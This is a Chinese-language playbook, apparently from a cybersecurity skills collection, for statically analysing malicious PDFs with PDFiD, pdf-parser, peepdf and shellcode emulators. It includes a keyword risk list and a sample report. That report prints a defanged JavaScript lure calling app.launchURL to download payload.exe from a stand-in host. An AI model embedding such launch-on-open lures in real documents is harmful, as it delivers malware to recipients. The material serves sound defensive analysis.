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analyzing-pdf-malware-with-pdfid

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【文档与办公】使用 PDFiD、pdf-parser 和 peepdf 分析恶意 PDF 文件，在不打开文档的情况下识别嵌入的 JavaScript、shellcode、漏洞利用代码和可疑对象。确定攻击向量并提取嵌入的载荷以进行进一步分析。适用于 PDF 恶意软件分析、恶意文档分析、PDF 漏洞利用调查或可疑附件分类等请求。

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Kkillvxk / cybersecurity-skills-zhApache-2.0

技能说明

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name: analyzing-pdf-malware-with-pdfid description: > 使用 PDFiD、pdf-parser 和 peepdf 分析恶意 PDF 文件，在不打开文档的情况下识别嵌入的 JavaScript、shellcode、漏洞利用代码和可疑对象。确定攻击向量并提取嵌入的载荷以进行进一步分析。适用于 PDF 恶意软件分析、恶意文档分析、PDF 漏洞利用调查或可疑附件分类等请求。 domain: cybersecurity subdomain: malware-analysis tags: [malware, PDF-analysis, document-malware, PDFiD, static-analysis] version: 1.0.0 author: mahipal license: Apache-2.0

使用 PDFiD 分析 PDF 恶意软件

适用场景

可疑 PDF 附件被电子邮件安全系统标记或由用户报告
需要确定 PDF 是否包含嵌入的 JavaScript、shellcode 或漏洞利用代码
在沙箱或分析环境中打开 PDF 文件前进行分类筛查
从恶意 PDF 对象中提取嵌入的可执行文件、脚本或 URL
分析针对 Adobe Reader 或其他 PDF 查看器漏洞的 PDF 漏洞利用工具包

不适用于分析 PDF 的视觉渲染内容；本流程用于对 PDF 文件格式进行结构化分析以检测恶意对象。

前置条件

Python 3.8+，安装 Didier Stevens 的 PDF 工具（pip install pdfid pdf-parser）
peepdf，用于交互式 PDF 分析（pip install peepdf）
poppler-utils 中的 pdftotext，用于安全提取文本内容
带有 PDF 专用规则的 YARA，用于恶意软件家族识别
隔离的分析虚拟机（未安装 PDF 阅读器，防止意外打开）
CyberChef，用于解码嵌入的 Base64、十六进制或 deflate 流

工作流程

步骤 1：使用 PDFiD 进行初步分类

扫描 PDF 中的可疑关键词和结构：

# 运行 PDFiD 识别可疑元素
pdfid suspect.pdf

# 预期输出分析：
# /JS           - JavaScript（高风险）
# /JavaScript   - JavaScript 对象（高风险）
# /AA           - 打开时自动触发的动作（高风险）
# /OpenAction   - 文档打开时的动作（高风险）
# /Launch       - 启动外部应用程序（高风险）
# /EmbeddedFile - 嵌入文件（中风险）
# /RichMedia    - Flash 内容（中风险）
# /ObjStm       - 对象流（用于混淆）
# /URI          - URL 引用（情境风险）
# /AcroForm     - 交互式表单（中风险）

# 运行带额外详情的模式
pdfid -e suspect.pdf

# 运行拆解模式（重命名可疑关键词）
pdfid -d suspect.pdf

PDFiD 风险评估：
━━━━━━━━━━━━━━━━━━━━━
高风险指标（任意计数 > 0）：
  /JS, /JavaScript  -> 嵌入 JavaScript 代码
  /AA               -> 自动动作（无需用户交互即触发）
  /OpenAction       -> 文档打开时执行代码
  /Launch           -> 可启动外部可执行文件
  /JBIG2Decode      -> 与 CVE-2009-0658 漏洞利用相关

中风险指标：
  /EmbeddedFile     -> 包含嵌入文件（可能是 EXE/DLL）
  /RichMedia        -> Flash/多媒体（Flash 漏洞利用）
  /AcroForm         -> 带有可能提交动作的表单
  /XFA              -> XML 表单架构（复杂攻击面）

低风险指标：
  /ObjStm           -> 对象流（混淆技术）
  /URI              -> 外部 URL 引用
  /Page             -> 页面数量（仅供参考）

步骤 2：使用 pdf-parser 解析 PDF 结构

检查 PDFiD 标记的可疑对象：

# 列出所有引用 JavaScript 的对象
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# 列出所有带 OpenAction 的对象
pdf-parser --search "/OpenAction" suspect.pdf

# 按 ID 提取特定对象（示例：对象 5）
pdf-parser --object 5 suspect.pdf

# 提取并解压流内容
pdf-parser --object 5 --filter --raw suspect.pdf

# 搜索嵌入文件
pdf-parser --search "/EmbeddedFile" suspect.pdf

# 列出所有对象及其类型
pdf-parser --stats suspect.pdf

步骤 3：提取并分析嵌入的 JavaScript

从 PDF 对象中提取 JavaScript 代码：

# 使用 pdf-parser 提取 JavaScript
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# 替代方案：使用 peepdf 交互式提取 JavaScript
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# peepdf JS 分析交互命令：
# js_analyse          - 提取并显示所有 JavaScript 代码
# js_beautify         - 格式化提取的 JavaScript
# js_eval <object>    - 在沙箱环境中执行 JavaScript
# object <id>         - 显示对象内容
# rawobject <id>      - 显示原始对象字节
# stream <id>         - 显示解压后的流
# offsets             - 显示文件中的对象偏移量

# 用于全面提取 PDF JavaScript 的 Python 脚本
import subprocess
import re

# 提取所有流并搜索 JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# 找到包含 JavaScript 引用的对象 ID
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# 提取每个包含 JavaScript 的对象
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== 对象 {obj_id} ===")
    print(result.stdout[:2000])

步骤 4：分析嵌入的 Shellcode

从 PDF 漏洞利用中提取并检查 shellcode：

# 提取原始流数据用于 shellcode 分析
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# 使用 scdbg（shellcode 调试器）分析 shellcode
scdbg /f shellcode.bin

# 替代方案：使用 speakeasy 进行 shellcode 模拟
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# 查看 shellcode 的 API 调用
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# 使用 CyberChef 解码十六进制/Base64 编码的 shellcode
# 输入：提取的流数据
# 配方：From Hex -> Disassemble x86

步骤 5：提取嵌入的文件和 URL

提取嵌入的可执行文件和链接资源：

# 从 PDF 中提取嵌入文件
import subprocess
import hashlib

# 查找嵌入文件对象
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# 通过搜索 MZ 头部提取嵌入的 PE 文件
with open("suspect.pdf", "rb") as f:
    data = f.read()

# 搜索嵌入的 PE 文件
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # 验证 PE 签名
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"在偏移 0x{pos:X} 处发现嵌入的 PE 文件")
            # 提取（估算大小或使用 PE 头部）
            embedded = data[pos:pos+100000]  # 初始提取
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256：{sha256}")
    offset = pos + 1

# 从 PDF 中提取 URL
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL：{url}")

步骤 6：生成分析报告

记录 PDF 分析的所有发现：

分析应涵盖：
- PDFiD 分类结果（可疑关键词计数）
- PDF 结构异常（对象流、交叉引用问题）
- 提取的 JavaScript 代码（必要时去混淆）
- Shellcode 分析结果（API 调用、网络指标）
- 提取的嵌入文件及其哈希值
- URL 和外部引用
- 检测到已知漏洞利用时的 CVE 标识
- 针对已知 PDF 恶意软件家族的 YARA 规则匹配

核心概念

术语	定义
PDF 对象（PDF Object）	PDF 文件的基本构建块；对象可包含流（压缩数据）、字典、数组以及对其他对象的引用
OpenAction	PDF 字典条目，指定文档打开时要执行的动作；常用于触发 JavaScript 漏洞利用
PDF 流（PDF Stream）	PDF 对象中的压缩数据，可包含 JavaScript、图像、嵌入文件或 shellcode；通常使用 FlateDecode 压缩
FlateDecode	应用于 PDF 流的 Zlib/deflate 压缩过滤器；必须解压缩后才能分析内容
ObjStm（对象流）	在单个压缩流中存储多个对象的 PDF 功能；恶意软件用其向简单解析器隐藏可疑对象
JBIG2	PDF 中的图像压缩标准；历史上的漏洞来源（CVE-2009-0658、CVE-2021-30860 FORCEDENTRY）
PDF JavaScript API	PDF 文档中可用的 Adobe 专用 JavaScript 扩展，用于表单操作、网络访问和操作系统交互

工具与系统

PDFiD：Didier Stevens 开发的工具，用于扫描 PDF 文档中的可疑关键词和结构，无需解析完整文档
pdf-parser：PDFiD 的配套工具，用于详细的 PDF 对象提取、流解压缩和内容分析
peepdf：基于 Python 的 PDF 分析工具，提供交互式 shell 用于对象检查和 JavaScript 提取
QPDF：PDF 转换工具，用于线性化、解密和重构 PDF 以便于分析
scdbg：Shellcode 分析工具，可模拟 x86 shellcode 执行并记录 API 调用

常见场景

场景：对含嵌入 JavaScript 的钓鱼 PDF 进行分类

场景背景：电子邮件网关标记了一个带可疑 JavaScript 指标的 PDF 附件。安全团队需要确定它是否包含漏洞利用代码或社会工程学重定向。

方法：

运行 PDFiD 确认 /JS、/JavaScript 和 /OpenAction 的存在及计数
使用 pdf-parser 提取 OpenAction 对象并跟踪其引用链
从引用的流对象中提取 JavaScript 代码（应用 FlateDecode 过滤器）
对 JavaScript 进行去混淆处理（解码十六进制字符串，解析 eval 调用链）
确定脚本是利用 PDF 阅读器漏洞（检查堆喷射、ROP 链）还是执行重定向
提取所有 URL、IP 和嵌入文件作为 IoC
对样本进行分类：漏洞利用（特定 CVE）还是社会工程学（重定向/钓鱼）

常见陷阱：

在标准 PDF 阅读器中打开 PDF 而非使用命令行工具分析
遗漏隐藏在对象流（/ObjStm）中的 JavaScript（PDFiD 能检测但简单解析器会遗漏）
分析前未解压流（FlateDecode、ASCIIHexDecode、ASCII85Decode 过滤器）
认为没有 /JS 就没有 JavaScript；代码可能嵌入在表单字段中（带 /XFA 的 /AcroForm）

输出格式

PDF 恶意软件分析报告
==============================
文件：             invoice_2025.pdf
SHA-256：          e3b0c44298fc1c149afbf4c8996fb924...
文件大小：         45,312 字节
PDF 版本：         1.7

PDFID 分类
/JS：              1  [高风险]
/JavaScript：      1  [高风险]
/OpenAction：      1  [高风险]
/EmbeddedFile：    0
/Launch：          0
/URI：             2
/Page：            1
/ObjStm：          1  [混淆]

可疑对象
对象 5：        /OpenAction -> 引用对象 8
对象 8：        /JavaScript 流（FlateDecode，解压后 2,847 字节）
对象 12：       /ObjStm，包含对象 15-18

提取的 JavaScript
第 1 层：          eval(unescape("%68%65%6C%6C%6F"))
第 2 层：          var url = "hxxp://malicious[.]com/payload.exe";
                   app.launchURL(url, true);
                   // 社会工程学重定向，非漏洞利用

提取的 IoC
URL：              hxxp://malicious[.]com/payload.exe
                   hxxps://fake-login[.]com/adobe/verify
域名：             malicious[.]com，fake-login[.]com

分类结果
类型：             社会工程学（URL 重定向）
CVE：              无（未检测到漏洞利用代码）
风险：             高（下载可执行载荷）
家族：             通用 PDF 投放器

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